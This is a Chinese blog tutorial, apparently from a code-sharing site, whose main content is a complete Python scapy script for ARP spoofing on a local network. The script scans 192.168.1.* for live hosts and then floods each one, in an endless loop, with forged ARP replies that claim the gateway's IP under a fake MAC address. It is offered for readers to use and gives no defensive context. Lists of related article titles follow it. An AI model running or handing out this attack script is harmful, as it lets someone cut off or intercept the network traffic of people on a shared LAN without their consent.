python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python实现逆波兰计算表达式实例详解
May 06 Python
Python3中的2to3转换工具使用示例
Jun 12 Python
Python实现模拟登录及表单提交的方法
Jul 25 Python
基于python中的TCP及UDP(详解)
Nov 06 Python
python通过tcp发送xml报文的方法
Dec 28 Python
Python读取Pickle文件信息并计算与当前时间间隔的方法分析
Jan 30 Python
python 堆和优先队列的使用详解
Mar 05 Python
python模拟菜刀反弹shell绕过限制【推荐】
Jun 25 Python
python实现多进程通信实例分析
Sep 01 Python
python 实现矩阵填充0的例子
Nov 29 Python
Python HTMLTestRunner测试报告view按钮失效解决方案
May 25 Python
如何解决pycharm调试报错的问题
Aug 06 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
虫族 Zerg 热键控制
2020/03/14 星际争霸
destoon文章模块调用企业会员资料的方法
2014/08/22 PHP
Javascript计算时间差的函数分享
2011/07/04 Javascript
读jQuery之十二 删除事件核心方法
2011/07/31 Javascript
asp.net 30分钟掌握无刷新 Repeater
2011/09/16 Javascript
Js 代码中,ajax请求地址后加随机数防止浏览器缓存的原因
2013/05/07 Javascript
面向对象设计模式的核心法则
2013/11/10 Javascript
node.js中的fs.readFile方法使用说明
2014/12/15 Javascript
jQuery实现的支持IE的html滑动条
2015/03/16 Javascript
jQuery 实现评论等级好评差评特效
2016/05/06 Javascript
jQuery+ajax实现实用的点赞插件代码
2016/07/06 Javascript
javascript 判断页面访问方式电脑或者移动端
2016/09/19 Javascript
浅析JavaScript中break、continue和return的区别
2016/11/30 Javascript
jQuery Masonry瀑布流插件使用方法详解
2017/01/18 Javascript
jQuery选择器特殊字符与属性空格问题
2017/08/14 jQuery
微信小程序实现两边小中间大的轮播效果的示例代码
2018/12/07 Javascript
JS数组方法slice()用法实例分析
2020/01/18 Javascript
利用原生JS实现欢乐水果机小游戏
2020/04/23 Javascript
在vue中axios设置timeout超时的操作
2020/09/04 Javascript
python实现通过代理服务器访问远程url的方法
2015/04/29 Python
Python中list列表的一些进阶使用方法介绍
2015/08/15 Python
Python中MySQLdb和torndb模块对MySQL的断连问题处理
2015/11/09 Python
Python将多个excel表格合并为一个表格
2021/02/22 Python
python循环输出三角形图案的例子
2019/11/22 Python
pytorch VGG11识别cifar10数据集(训练+预测单张输入图片操作)
2020/06/24 Python
Python实现删除某列中含有空值的行的示例代码
2020/07/20 Python
Python WebSocket长连接心跳与短连接的示例
2020/11/24 Python
澳大利亚音乐商店:Bava’s Music City
2019/05/05 全球购物
C#如何进行LDAP用户校验
2012/11/21 面试题
骨干教师培训制度
2014/01/13 职场文书
《鞋匠的儿子》教学反思
2014/03/02 职场文书
教师党员整改措施
2014/10/24 职场文书
汽车车尾标语大全
2015/08/11 职场文书
浅谈Python响应式类库RxPy
2021/06/14 Python
Python利用zhdate模块实现农历日期处理
2022/03/31 Python
Python使用华为API为图像设置多个锚点标签
2022/04/12 Python